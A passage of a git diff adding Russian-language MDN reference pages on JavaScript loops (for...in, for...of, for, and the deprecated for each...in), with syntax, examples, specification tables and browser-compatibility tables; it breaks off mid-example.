+ <dd>Другое (очередное) имя свойства назначается переменной на каждой итерации.</dd>
+ <dt><code>object</code></dt>
+ <dd>Объект, по чьим свойствам мы проходим</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Цикл <code>for...in</code> проходит только по перечисляемым свойствам. Объекты, созданные встроенными конструкторами, такими как <code>Array</code> и <code>Object</code> имеют неперечисляемые свойства от <code>Object.prototype</code> и <code>String.prototype</code>, например, от {{jsxref("String")}}-это {{jsxref("String.indexOf", "indexOf()")}}, а от {{jsxref("Object")}} - метод {{jsxref("Object.toString", "toString()")}}. Цикл пройдёт по всем перечисляемым свойствам объекта, а также тем, что он унаследует от конструктора прототипа (свойства объекта в цепи прототипа).</p>
+
+<h3 id="Удаление_добавление_и_модификация_свойств">Удаление, добавление и модификация свойств</h3>
+
+<p>Цикл <code>for...in</code> проходит по свойствам в произвольном порядке (см. оператор {{jsxref("Operators/delete", "delete")}} для того, чтобы узнать почему порядок прохода может отличаться в зависимости от браузера). Если свойство изменяется за одну итерацию, а затем изменяется снова, его значением в цикле является его последнее значение. Свойство, удаленное до того, как до него дошёл цикл, не будет участвовать в нём. Свойства добавленные в объекты в цикле могут быть пропущены. В общем, лучше не добавлять, изменять или удалять свойство из объекта во время итерации, если по нему ещё не прошли. Нет гарантии, что добавленное свойство будет посещено циклом, изменное после проведения изменений, а удалённое после удаления.</p>
+
+<h3 id="Проход_по_массиву_и_for...in"><code>Проход по массиву и for...in</code></h3>
+
+<div class="note">
+<p><strong>Замечание:</strong> <code>for...in</code> не следует использовать для {{jsxref("Array")}}, где важен порядок индексов.</p>
+</div>
+
+<p>Индексы массива - это перечисляемые свойства с целочисленными именами, в остальном они аналогичны свойствам объектов. Нет гарантии, что <code>for...in</code> будет возвращать индексы в конкретном порядке. Цикл <code>for...in</code> возвращает все перечисляемые свойства, включая имеющие нецелочислиненные имена и наследуемые.</p>
+
+<p>Так как порядок прохода зависит от реализации, проход по массиву может не произойти в правильном порядке. Следовательно лучше с числовыми индексами использовать циклы {{jsxref("Statements/for", "for")}}, {{jsxref("Array.prototype.forEach()")}} или {{jsxref("Statements/for...of", "for...of")}}, когда проходим по массивам, где важен порядок доступа к свойствам.</p>
+
+<h3 id="Проход_только_через_собственные_свойства.">Проход только через собственные свойства.</h3>
+
+<p>Если вы хотите рассматривать только свойства самого объекта, а не его прототипов, используйте {{jsxref("Object.getOwnPropertyNames", "getOwnPropertyNames()")}}, {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}} или {{jsxref("Object.prototype.propertyIsEnumerable", "propertyIsEnumerable")}}. Кроме того, если вы знаете, что не будет вмешательства в код извне, вы можете расширить встроенные прототипы методом проверки.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Следующее выражение берёт аргументом объект. Затем проходит по всем перечислимым свойствам объекта и возвращает строку содержащую имена свойств и их значения.</p>
+
+<pre class="brush: js">var obj = {a:1, b:2, c:3};
+
+for (var prop in obj) {
+  console.log("obj." + prop + " = " + obj[prop]);
+}
+
+// Выведет:
+// "obj.a = 1"
+// "obj.b = 2"
+// "obj.c = 3"</pre>
+
+<p>Следующая функция иллюстрирует использование {{jsxref("Object.prototype.hasOwnProperty", "hasOwnProperty()")}}: наследуемые свойства не отображаются</p>
+
+<pre class="brush: js">var triangle = {a:1, b:2, c:3};
+
+function ColoredTriangle() {
+  this.color = "red";
+}
+
+ColoredTriangle.prototype = triangle;
+
+var obj = new ColoredTriangle();
+
+for (var prop in obj) {
+  if( obj.hasOwnProperty( prop ) ) {
+    console.log("obj." + prop + " = " + obj[prop]);
+  }
+}
+
+// Выведет:
+// "obj.color = red"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.6.4', 'for...in statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Поддержка_инициализатор_переменных">Поддержка: инициализатор переменных</h2>
+
+<p>До SpiderMonkey 40 {{geckoRelease(40)}}, можно было инициализировать переменные (<code>i=0</code>) в цикле <code>for...in</code>:</p>
+
+<pre class="brush: js example-bad">var obj = {a:1, b:2, c:3};
+for(var i=0 in obj) {
+  console.log(obj[i]);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<p>Это нестандартное поведение игнорируется в версии 40 и более поздних, оно бросит предупреждение {{jsxref("SyntaxError")}} ("for-in loop head declarations may not have initializers") в консоль ({{bug(748550)}} и {{bug(1164741)}}).</p>
+
+<p>Другие движки, такие как v8 (Chrome), Chakra (IE/Edge) и JSC (WebKit/Safari) также собираются удалить это нестандартное поведение.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}} - похожий цикл, проходящий по значениям свойств</li>
+ <li>{{jsxref("Statements/for_each...in", "for each in")}} - похожее выражение, но перебирает значения свойств, а не их имена (устарело)</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Генераторы</a> (использующие синтаксис <code>for...in</code>)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Перечислимость и владение свойствами</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/for...of/index.html b/files/ru/web/javascript/reference/statements/for...of/index.html
new file mode 100644
index 0000000000..0074719d06
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/for...of/index.html
@@ -0,0 +1,302 @@
+---
+title: for...of
+slug: Web/JavaScript/Reference/Statements/for...of
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Оператор
+  - Экспериментальный
+translation_of: Web/JavaScript/Reference/Statements/for...of
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Оператор <code>for...of</code> выполняет цикл обхода <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">итерируемых объектов</a> (включая {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, объект <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">аргументов</a> и подобных), вызывая на каждом шаге итерации операторы для каждого значения из различных свойств объекта.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">for (<em>variable</em> of <em>iterable</em>) {
+  <em>statement</em>
+}
+</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>На каждом шаге итерации <code><em>variable</em></code> присваивается значение нового свойства объекта <em><code>iterable</code></em>. Переменная <em><code>variable</code></em> может быть также объявлена с помощью <code>const</code>, <code>let</code> или <code>var</code>.</dd>
+ <dt><code>iterable</code></dt>
+ <dd>Объект, перечисляемые свойства которого обходятся во время выполнения цикла.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Обход_jsxrefArray">Обход {{jsxref("Array")}}</h3>
+
+<pre class="notranslate"><code>let iterable = [10, 20, 30];
+
+for (let value of iterable) {
+  value += 1;
+  console.log(value);
+}
+// 11
+// 21
+// 31</code></pre>
+
+<p>Можно также использовать <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a> вместо <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a>, если не нужно переназначать переменные внутри блока.</p>
+
+<pre class="notranslate"><code>let iterable = [10, 20, 30];
+
+for (const value of iterable) {
+  console.log(value);
+}
+// 10
+// 20
+// 30</code></pre>
+
+<h3 id="Обход_jsxrefString">Обход {{jsxref("String")}}</h3>
+
+<pre class="notranslate"><code>let iterable = 'boo';
+
+for (let value of iterable) {
+  console.log(value);
+}
+// "b"
+// "o"
+// "o"</code></pre>
+
+<h3 id="Обход_jsxrefTypedArray">Обход {{jsxref("TypedArray")}}</h3>
+
+<pre class="notranslate"><code>let iterable = new Uint8Array([0x00, 0xff]);
+
+for (let value of iterable) {
+  console.log(value);
+}
+// 0
+// 255</code></pre>
+
+<h3 id="Обход_jsxrefMap">Обход {{jsxref("Map")}}</h3>
+
+<pre class="notranslate"><code>let iterable = new Map([['a', 1], ['b', 2], ['c', 3]]);
+
+for (let entry of iterable) {
+  console.log(entry);
+}
+// ['a', 1]
+// ['b', 2]
+// ['c', 3]
+
+for (let [key, value] of iterable) {
+  console.log(value);
+}
+// 1
+// 2
+// 3</code></pre>
+
+<h3 id="Обход_jsxrefSet">Обход {{jsxref("Set")}}</h3>
+
+<pre class="notranslate"><code>let iterable = new Set([1, 1, 2, 2, 3, 3]);
+
+for (let value of iterable) {
+  console.log(value);
+}
+// 1
+// 2
+// 3</code></pre>
+
+<h3 id="Обход_объекта_jsxrefarguments">Обход объекта {{jsxref("arguments")}} </h3>
+
+<pre class="notranslate"><code>(function() {
+  for (let argument of arguments) {
+    console.log(argument);
+  }
+})(1, 2, 3);
+
+// 1
+// 2
+// 3</code></pre>
+
+<h3 id="Обход_DOM_коллекций">Обход DOM коллекций</h3>
+
+<p>Обход DOM коллекций наподобие {{domxref("NodeList")}}: следующий пример добавляет класс <code>read</code> параграфам, являющимся непосредственными потомками статей:</p>
+
+<pre class="notranslate"><code>// Примечание: работает только на платформах, где
+// реализован NodeList.prototype[Symbol.iterator]
+let articleParagraphs = document.querySelectorAll('article &gt; p');
+
+for (let paragraph of articleParagraphs) {
+  paragraph.classList.add('read');
+}</code></pre>
+
+<h3 id="Закрытие_итераторов">Закрытие итераторов</h3>
+
+<p>В циклах <code>for...of</code>  аварийный выход осуществляется через <code>break</code>, <code>throw</code> или <code>return</code>. Во всех вариантах итератор завершается.</p>
+
+<pre class="notranslate"><code>function* foo(){
+  yield 1;
+  yield 2;
+  yield 3;
+};
+
+for (let o of foo()) {
+  console.log(o);
+  break; //  итератор закрывается, возврат
+}</code>
+</pre>
+
+<h3 id="Обход_генераторов">Обход генераторов</h3>
+
+<p>Вы можете выполнять обход <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">генераторов</a>, вот пример:</p>
+
+<pre class="brush:js notranslate">function* fibonacci() { // функция-генератор
+    let [prev, curr] = [0, 1];
+    for (;;) {
+        [prev, curr] = [curr, prev + curr];
+        yield curr;
+    }
+}
+
+for (let n of fibonacci()) {
+    // ограничивает последовательность на 1000
+    if (n &gt; 1000)
+        break;
+    console.log(n);
+}
+</pre>
+
+<h4 id="Не_пытайтесь_повторно_использовать_генератор">Не пытайтесь повторно использовать генератор</h4>
+
+<p>Генераторы нельзя использовать дважды, даже если цикл <code>for...of </code> завершится аварийно, например, через оператор {{jsxref("Statements/break", "break")}} . При выходе из цикла генератор завершается, и любые попытки получить из него значение обречены.</p>
+
+<pre class="brush: js example-bad notranslate"><code>var gen = (function *(){
+  yield 1;
+  yield 2;
+  yield 3;
+})();
+for (let o of gen) {
+  console.log(o);
+  break;  // Завешение обхода
+}
+
+// Генератор нельзя повторно обойти, следующее не имеет смысла!
+for (let o of gen) {
+  console.log(o); // Не будет вызван
+}</code></pre>
+
+<h3 id="Обход_итерируемых_объектов">Обход итерируемых объектов</h3>
+
+<p>Кроме того, можно сделать обход объекта, явно реализующего <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">iterable</a>:</p>
+
+<pre class="notranslate"><code>var iterable = {
+  [Symbol.iterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i &lt; 3) {
+          return { value: this.i++, done: false };
+        }
+        return { value: undefined, done: true };
+      }
+    };
+  }
+};
+
+for (var value of iterable) {
+  console.log(value);
+}
+// 0
+// 1
+// 2</code></pre>
+
+<h3 id="Различия_между_for...of_и_for...in">Различия между <code>for...of</code> и <code>for...in</code></h3>
+
+<p>Оба оператора, и <code>for...in</code> и <code>for...of</code> производят обход объектов . Разница в том, как они это делают.</p>
+
+<p>Для {{jsxref("Statements/for...in", "for...in")}} обход <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Enumerability_and_ownership_of_properties" title="перечисляемые свойства">перечисляемых свойств</a> объекта осуществляется в произвольном порядке.</p>
+
+<p>Для <code>for...of</code> обход происходит в соответствии с тем, какой порядок определен в <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable">итерируемом объекте</a>.</p>
+
+<p>Следующий пример показывает различия в работе циклов <code>for...of</code> и <code>for...in</code> при обходе {{jsxref("Array")}}.</p>
+
+<pre class="notranslate"><code>Object.prototype.objCustom = function() {};
+Array.prototype.arrCustom = function() {};
+
+let iterable = [3, 5, 7];
+iterable.foo = 'hello';
+
+for (let i in iterable) {
+  console.log(i); // выведет 0, 1, 2, "foo", "arrCustom", "objCustom"
+}
+
+for (let i in iterable) {
+  if (iterable.hasOwnProperty(i)) {
+    console.log(i); // выведет 0, 1, 2, "foo"
+  }
+}
+
+for (let i of iterable) {
+  console.log(i); // выведет 3, 5, 7
+}</code></pre>
+
+<p>Разберемся шаг за шагом в вышеописанном коде.</p>
+
+<pre class="notranslate"><code>Object.prototype.objCustom = function() {};
+Array.prototype.arrCustom = function() {};
+
+let iterable = [3, 5, 7];
+iterable.foo = 'hello';</code></pre>
+
+<p>Каждый объект унаследует метод <code>objCustom</code> и каждый массив {{jsxref("Array")}} унаследует метод <code>arrCustom</code> благодаря созданию их в {{jsxref("Object.prototype")}} и {{jsxref("Array.prototype")}}. Объект <code>iterable</code> унаследует методы <code>objCustom</code> и <code>arrCustom</code> из-за <a href="/ru/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">наследования через прототип</a>.</p>
+
+<pre class="notranslate"><code>for (let i in iterable) {
+  console.log(i); // выведет 0, 1, 2, "foo", "arrCustom", "objCustom"
+}</code></pre>
+
+<p>Цикл выводит только <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">перечисляемые свойства</a> объекта <code>iterable</code>, в порядке их создания. Он не выводит <strong>значения</strong> <code>3</code>, <code>5</code>, <code>7</code> и <code>hello</code> поскольку они <strong>не являются</strong> перечисляемыми, фактически они вообще не являются свойствами, они являютя <strong>значениями</strong>. Выводятся же <strong>имена свойств и методов</strong>, например <code>arrCustom</code> и <code>objCustom</code>. Если вы еще не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .</p>
+
+<pre class="notranslate"><code>for (let i in iterable) {
+  if (iterable.hasOwnProperty(i)) {
+    console.log(i); // выведет 0, 1, 2, "foo"
+  }
+}</code></pre>
+
+<p>Цикл аналогичен предыдущему, но использует {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}} для проверки того, собственное ли это свойство объекта или унаследованое. Выводятся только собственные свойства. Имена <code>0</code>, <code>1</code>, <code>2</code> и <code>foo</code> принадлежат только экземпляру объекта (<strong>не унаследованы</strong>). Методы <code>arrCustom</code> и <code>objCustom</code> не выводятся, поскольку они <strong>унаследованы</strong>.</p>
+
+<pre class="notranslate"><code>for (let i of iterable) {
+  console.log(i); // выведет 3, 5, 7
+}</code></pre>
+
+<p>Этот цикл обходит <code>iterable</code> и выводит те значения <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators$edit#%D0%98%D1%82%D0%B5%D1%80%D0%B8%D1%80%D1%83%D0%B5%D0%BC%D1%8B%D0%B5_%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D1%8B">итерируемого объекта</a>,<strong> </strong>которые определены в способе его перебора, т.е. не свойства объекта, а значения массива <code>3</code>, <code>5</code>, <code>7</code> .</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное опеределение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.statements.for_of")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+ <li>{{jsxref("Object.entries()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/for/index.html b/files/ru/web/javascript/reference/statements/for/index.html
new file mode 100644
index 0000000000..40945dffda
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/for/index.html
@@ -0,0 +1,194 @@
+---
+title: for
+slug: Web/JavaScript/Reference/Statements/for
+translation_of: Web/JavaScript/Reference/Statements/for
+---
+<div>
+<div>{{jsSidebar("Statements")}}</div>
+</div>
+
+<h2 id="Summary" name="Summary">Введение</h2>
+
+<p>Выражение<strong> for</strong> создаёт цикл, состоящий из 3 необязательных выражений в круглых скобках, разделённых точками с запятой.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">for ([<em>инициализация</em>]; [<em>условие</em>]; [<em>финальное выражение</em>])<em>выражение</em>
+</pre>
+
+<dl>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">инициализация</font></dt>
+ <dd>Выражение (в том числе выражения присвоения) или определение переменных. Обычно используется, чтобы инициализировать счётчик. Это выражение может опционально объявлять новые переменные с помощью ключевого слова <code>var</code>. Эти переменные видимы не только в цикле, т.е. в той же области области видимости, что и цикл <code>for</code>. Результат этого выражения отбрасывается.</dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">условие</font></dt>
+ <dd>Выражение, выполняющееся на каждой интерации цикла. Если выражение истинно, цикл выполняется. Условие не является обязательным. Если его нет, условие всегда считается истиной. Если выражение ложно, выполнение переходит к первому выражению, следующему за <code>for.</code></dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">финальное выражение</font></dt>
+ <dd>Выражение, выполняющееся в конце интерации цикла. Происходит до следующего выполнения условия. Обычно используется для обновления или увеличения переменной счётчика.</dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">выражение</font></dt>
+ <dd>Выражение, которое выполняется, когда условие цикла истинно. Чтоб выполнить множество выражений в цикле, используйте <a href="/ru/docs/JavaScript/Reference/Statements/block" title="JavaScript/Reference/Statements/block">блок</a> (<code>{ ... }</code>) для группировки этих выражений. Чтобы не выполнять никакого выражения в цикле, используйте <a href="/ru/docs/Web/JavaScript/Reference/Statements/Empty">пустое выражение</a> (<code>;</code>).</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example.3A_Using_for" name="Example.3A_Using_for">Использование <code>for</code></h3>
+
+<p>Следующий цикл <code>for</code> начинается объявлением переменной <code>i </code>и задания ей значения <code>0</code>. Затем проверяет, что <code>i</code> меньше девяти, выполняет выражения внутри цикла и увеличивает <code>i</code> на 1 каждый раз.</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; 9; i++) {
+   console.log(i);
+   // ещё какие-то выражения
+}
+</pre>
+
+<h3 id="Необязательные_выражения_в_for">Необязательные выражения в  <code>for</code></h3>
+
+<p>Все 3 выражения в цикле <code>for</code> не обязательны.</p>
+
+<p>Например, в блоке инициализации не требуется определять переменные:</p>
+
+<pre class="brush: js">var i = 0;
+for (; i &lt; 9; i++) {
+    console.log(i);
+    // ещё выражения
+}
+</pre>
+
+<p>Как и блок инициализации, блок условия не обязателен. Если пропустите это выражение, вы должны быть уверены, что прервете цикл где-то в теле, а не создадите бесконечный цикл.</p>
+
+<pre class="brush: js">for (var i = 0;; i++) {
+   console.log(i);
+   if (i &gt; 3) break;
+   // тут какой-то код
+}</pre>
+
+<p>Вы можете пропустить все 3 блока. Снова убедитесь, что используете <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/break">break</a></code>, чтоб закончить цикл, а также изменить счётчик, так что условие для break было истинно в нужный момент.</p>
+
+<pre class="brush: js">var i = 0;
+
+for (;;) {
+  if (i &gt; 3) break;
+  console.log(i);
+  i++;
+}
+</pre>
+
+<h3 id="Example.3A_Using_for_without_the_statement_section" name="Example.3A_Using_for_without_the_statement_section">Использование <code>for</code> без блока выражений</h3>
+
+<p>Следующий цикл <code>for</code> вычисляет смещение позиции узла в секции <em>[финальное выражение]</em>, и, следовательно, не требует использования выражения внутри цикла или <code><a href="/ru/docs/JavaScript/Reference/Statements/block" title="JavaScript/Reference/Statements/block">блока</a></code>, <a href="/ru/docs/Web/JavaScript/Reference/Statements/Empty">пустое выражение</a> используется вместо этого.</p>
+
+<pre class="brush: js">function showOffsetPos (sId) {
+  var nLeft = 0, nTop = 0;
+
+  for (var oItNode = document.getElementById(sId); // инициализация
+       oItNode; // условие
+       nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent) // финальное выражение
+       /* пустое выражение */ ;
+
+  console.log("Смещение позиции элемента \"" + sId + "\":\n left: " + nLeft + "px;\n top: " + nTop + "px;");
+}
+
+// Пример вызова:
+
+showOffsetPos("content");
+
+// Выводит:
+// "Смещение позиции элемента "content":
+// left: 0px;
+// top: 153px;"</pre>
+
+<div class="note"><strong>Замечание:</strong> В этом случае, когда вы не используете условие внутри цикла, <strong>точка с запятой ставится сразу после выражения цикла.</strong></div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-for-statement', 'for statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.6.3', 'for statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.6.3', 'for statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.6.2', 'for statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Также можете просмотреть</h2>
+
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/empty", "empty")}}</li>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while"><code>do...while</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/for_each...in/index.html b/files/ru/web/javascript/reference/statements/for_each...in/index.html
new file mode 100644
index 0000000000..c609f436c0
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/for_each...in/index.html
@@ -0,0 +1,126 @@
+---
+title: for each...in
+slug: Web/JavaScript/Reference/Statements/for_each...in
+translation_of: Archive/Web/JavaScript/for_each...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div class="warning">
+<p>Конструкция <code>for each...in</code> заявлена как "deprecated", как часть стандарта ECMA-357 (<a href="/en-US/docs/Archive/Web/E4X" title="/en-US/docs/E4X">E4X</a>). Поддержка E4X была удалена. Вместо <code>for each...in</code> рассмотрите использование <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a>. (Пожалуйста обратите внимание: {{ bug("791343")}}.)<br>
+ <br>
+ <strong>Firefox теперь предупреждает об использовании <code>for each...in</code> и <code>for each...in</code> удаляется из ночных сборок. Пожалуйста, посмотрите <a href="/en-US/docs/Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated">Warning: JavaScript 1.6's for-each-in loops are deprecated</a> для помощи в миграции.</strong></p>
+</div>
+
+<p><strong>Выражение</strong> <code><strong>for each...in</strong></code> выполняет перебор свойств указанного объекта. Для каждого свойства выполняется указанный оператор.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">for each (<em>variable</em> in <em>object</em>) {
+  <em>statement</em>
+}</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>Variable to iterate over property values, optionally declared with the <code>var</code> keyword. This variable is local to the function, not to the loop.</dd>
+</dl>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Object for which the properties are iterated.</dd>
+</dl>
+
+<dl>
+ <dt><code>statement</code></dt>
+ <dd>A statement to execute for each property. To execute multiple statements within the loop, use a <a href="/en-US/docs/Web/JavaScript/Reference/Statements/block">block</a> statement (<code>{ ... }</code>) to group those statements.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Some built-in properties are not iterated over. These include all built-in methods of objects, e.g. <code>String</code>'s <code>indexOf</code> method. However, all user-defined properties are iterated over.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_for_each...in">Using <code>for each...in</code></h3>
+
+<p><strong>Warning:</strong> Never use a loop like this on arrays. Only use it on objects. See <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a> for more details.</p>
+
+<p>The following snippet iterates over an object's properties, calculating their sum:</p>
+
+<pre class="brush:js">var sum = 0;
+var obj = {prop1: 5, prop2: 13, prop3: 8};
+
+for each (var item in obj) {
+  sum += item;
+}
+
